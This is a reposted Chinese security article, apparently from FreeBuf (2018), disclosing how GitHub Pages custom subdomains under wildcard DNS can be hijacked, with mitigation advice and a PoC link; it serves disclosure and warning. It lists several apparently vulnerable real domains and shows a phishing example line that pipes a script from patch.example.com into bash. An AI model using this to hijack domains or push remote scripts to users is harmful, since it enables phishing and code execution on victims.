搜索

[12729] 2018-05-21_我们来“劫持”个GitHub自定义域名玩吧！

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2018-05-21_我们来“劫持”个GitHub自定义域名玩吧！ 我 们 来 “ 劫 持 ” 个 G i t H u b 自 定 义 域 名 玩 吧 ！ 原 创   e v i l 7   F r e e B u f   2 0 1 8 - 0 5 - 2 1 声 明 ： 本 文 仅 作 为 技 术 讨 论 与 分 享 ， 严 禁 用 于 非 法 用 途 。 声 明 ： 本 文 仅 作 为 技 术 讨 论 与 分 享 ， 严 禁 用 于 非 法 用 途 。 猥 琐 发 育 ， 别 浪 猥 琐 发 育 ， 别 浪 2 3 3 3 作 为 一 个 国 内 外 项 目 都 不 怎 么 挖 的 我 ， 比 较 喜 欢 拿 自 己 正 在 使 用 的 服 务 入 手 挖 洞 ， 毕 竟 拥 有 需 求 又 了 解 业 务 才 能 长 期 跟 进 ， 更 好 的 去 发 现 各 种 流 程 上 出 现 的 毛 病 。 近 日 闲 得 无 聊 ， 看 了 看 G i t H u b   P a g e s 服 务 的 更 新 内 容 ， 可 以 支 持 自 定 义 域 名 S S L 自 动 签 证 了 ？ E m m m …   阔 以 阔 以 ， b l o g 可 以 回 归 托 管 到 g i t h u b 了 。 顺 便 打 算 给 手 上 每 个 项 目 放 个 查 看 d o c u m e n t 的 页 面 ， 并 且 分 别 分 配 单 独 的 二 级 域 名 给 每 个 项 目 ， 多 咩 高 端 ， 多 咩 大 气 ！ 但 是 这 么 多 项 目 需 要 一 个 个 增 加 域 名 真 是 好 叽 儿 麻 烦 哦 … 干 脆 泛 解 析 到 g i t h u b   p a g e 的 服 务 器 吧 ！ 之 后 就 只 需 要 在 g i t h u b 里 绑 定 域 名 ， 就 不 需 要 每 个 项 目 再 去 增 加 D N S 解 析 了 ！ 哎 ？ 泛 解 析 到 公 共 服 务 器 ？ 哎 ？ 泛 解 析 到 公 共 服 务 器 ？ … 常 规 “ 打 野 挖 洞 ” 的 思 路 告 诉 我 ， 这 个 单 方 面 绑 定 域 名 的 设 置 方 式 ， 必 定 要 出 点 啥 幺 蛾 子 … 域 名 从 D N S 解 析 到 服 务 器 后 端 解 析 到 特 定 项 目 ， 流 程 上 可 能 会 有 安 全 问 题 每 个 注 册 用 户 都 能 发 布 并 托 管 p a g e ， 这 可 控 性 有 些 广 ， 或 许 此 行 可 以 G A N K 一 波 呢 …
解 析 流 程 中 的 弱 点 解 析 流 程 中 的 弱 点 批 量 解 析 到 公 共 服 务 器 …   但 是 这 个 服 务 器 每 个 人 都 能 部 署 p a g e …   是 不 是 说 … 我 可 以 设 置 部 署 到 别 人 的 泛 解 析 的 域 名 下 ？ 以 此 劫 持 某 个 二 级 域 名 ， 试 试 用 来 钓 鱼 g i t h u b 用 户 或 者 看 文 档 的 项 目 使 用 者 呢 ？ 如 果 某 个 用 户 像 我 所 想 使 用 了 泛 解 析 来 批 量 给 自 己 项 目 挂 自 定 义 域 名 ， 那 实 际 流 程 会 是 这 样 的 ： 单 独 二 级 域 名 的 解 析 流 程 ：   : 而 泛 解 析 域 名 的 解 析 流 程   : 如 你 所 见 ， 如 果 一 个 用 户 自 定 义 域 名 被 泛 解 析 到 了 G i t H u b 的 服 务 器 ， 当 你 查 询 D N S 时 候 ， 任 何 二 级 都 会 指 向 G i t H u b ， 但 是 因 为 没 有 设 置 部 署 指 向 某 个 项 目 ， 所 以 会 显 示 G i t H u b 的 4 0 4 页 面 。 [ w w w . d e e p w n . c o m ] ( h t t p : / / w w w . d e e p w n . c o m )   = >   G i t H u b   P a g e * . d e e p w n . c o m   = >   G i t H u b   P a g e
那 么 问 题 来 了 ， 所 有 用 户 都 能 给 自 己 的 项 目 设 置 部 署 ， 使 用 的 是 同 样 一 组 G i t H u b 的 服 务 器 ， 并 且 服 务 器 不 会 验 证 你 是 不 是 域 名 所 有 者 ， 也 毫 无 措 施 查 询 是 否 允 许 域 名 绑 定 到 某 个 项 目 ， 所 以 说 只 要 能 找 到 一 个 用 户 设 置 心 大 的 域 名 ， 就 能 开 始 劫 持 之 旅 了 。 比 如 这 个 我 挂 的 h i j a c k _ d e m o ：   h t t p : / / h i j a c k . m i c h e l l e r o b i n s c r e a t i v e . c o m 有 多 少 域 名 被 使 用 在 项 目 有 多 少 域 名 被 使 用 在 项 目 P a g e 上 呢 ？ 上 呢 ？ 你 可 以 搜 一 下 ， 会 发 现 炒 鸡 多 的 项 目 开 通 了 P a g e ， 并 且 每 天 操 作 更 新 p a g e 的 的 频 率 极 其 高 … 有 多 少 域 名 可 以 被 劫 持 呢 ？ 有 多 少 域 名 可 以 被 劫 持 呢 ？ 仅 仅 获 取 了 1 天 的 数 据 量 （ 7 0 0 + ） ， 就 发 现 了 1 1 个 可 悲 的 域 名 …   天 呐 撸 …
2 0 1 8 - 0 5 - 1 4   ( d a y :   1 3 — 1 4 ) 个 人 建 议 个 人 建 议 G i t H u b 在 用 户 设 置 域 名 的 时 候 会 检 查 D N S 设 置 ， 如 果 解 析 错 误 或 者 解 析 有 问 题 将 会 在 设 置 页 面 添 加 提 醒 。 a n d r o i d x . d e b a y e s . d k c l a u d i u a n d r e i . c o m c r u n c h b i t c o i n . c o m e s k o n t . p o n o m a r e v l a d . r u f w b . a p p g o l d t u m . c o m h i j a c k . m i c h e l l e r o b i n s c r e a t i v e . c o m   ( 这 个 是 我 d e m o 用 的 ) l i t . m a x . p u b p a u l i s p a c e . c o m s u m i t . a p p v a l u a t e . a p p
那 么 为 什 么 不 添 加 个 检 查 功 能 ， 让 用 户 “ 双 向 验 证 ” 自 己 使 用 的 域 名 呢 ？ 就 像 某 些 能 绑 定 自 定 义 域 名 的 M a i l 公 共 服 务 一 样 ， 让 用 户 添 加 一 条 ’ T X T ’ 解 析 来 验 证 这 个 域 名 只 能 绑 定 到 某 个 用 户 群 。 这 样 不 就 能 避 免 被 劫 持 ， 进 行 双 向 设 置 嘛 ？ 熊 怼 面 对 现 实 吧 熊 怼 面 对 现 实 吧 这 个 问 题 我 早 已 经 发 到 “ G i t H u b   S e c u r i t y   B u g   B o u n t y ” ， 但 是 因 为 超 出 项 目 接 受 的 范 围 ， 或 许 这 个 设 置 项 的 ” B U G ” 并 不 会 有 修 复 变 更 。 也 许 会 在 之 后 G i t H u b 更 新 中 才 会 出 现 缓 解 措 施 ， 所 以 我 写 下 此 文 也 只 是 想 警 戒 各 位 G i t H u b 用 户 需 要 主 动 去 面 对 和 进 行 检 查 。 所 以 ， 在 没 有 添 加 类 似 的 溯 源 检 查 服 务 之 前 ， 请 务 必 注 意 自 己 的 解 析 设 定 避 免 被 劫 持 钓 鱼 的 麻 烦 。 P S :   万 一 被 劫 持 ， 用 来 钓 鱼 你 的 G i t H u b 账 号 ？ 再 或 者 劫 持 你 的 某 二 级 域 名 ， 克 隆 你 项 目 的 d o c u m e n t 页 面 ， 挂 上 一 个 恶 意 的 “ 升 级 配 置 脚 本 ” ， 再 给 使 用 你 开 源 项 目 的 用 户 发 送 钓 鱼 的 升 级 页 面 或 者 补 丁 地 址 ？ 在 或 者 干 脆 发 送 个 钓 鱼 的 “ 一 键 补 丁 ” 其 实 从 社 工 角 度 ， 可 操 作 的 范 围 还 挺 广 ， 万 一 目 标 项 目 有 泛 解 析 问 题 ， 成 本 低 到 开 个 新 r e p o 就 行 。 c u r l   - s L   [ h t t p : / / p a t c h . e x a m p l e . c o m / u p d a t e . s h ] ( h t t p : / / p a t c h . e x a m p l e . c o m / u p d a t e . s h )   |   b a s h
我 们 可 以 看 到 h e l p 页 面 已 经 添 加 了 关 于 这 个 问 题 的 警 告 ， 但 问 题 是 有 多 少 人 会 看 到 和 留 意 到 这 条 内 容 呢 ？ 真 是 尴 尬 的 解 决 方 式 … h t t p s : / / h e l p . g i t h u b . c o m / a r t i c l e s / t r o u b l e s h o o t i n g - c u s t o m - d o m a i n s / # u n s u p p o r t e d - c u s t o m - d o m a i n - n a m e . 从 h 1 报 告 的 回 复 看 来 ， G i t H u b 并 不 会 在 近 期 修 改 服 务 去 解 决 这 个 问 题 ， 那 么 在 出 现 缓 解 方 式 和 修 复 方 案 出 现 前 ， 我 们 只 能 靠 告 知 更 多 人 去 了 解 问 题 ， 让 大 家 主 动 提 高 安 全 意 识 了 。 我 写 了 个 吊 儿 郎 当 的 我 写 了 个 吊 儿 郎 当 的 P O C 提 醒 你 提 醒 你 h t t p s : / / g i t h u b . c o m / d e e p w n / G i t P a g e H i j a c k / 别 特 么 在 P a g e 自 定 义 域 名 里 使 用 泛 解 析   ! ! ! 别 特 么 在 P a g e 自 定 义 域 名 里 使 用 泛 解 析   ! ! ! 别 特 么 在 P a g e 自 定 义 域 名 里 使 用 泛 解 析   ! ! ! d e v   w i t h   l o v e   &   h a c k   w i t h   l o v e   : ) * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： e v i l 7 ， 本 文 属 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理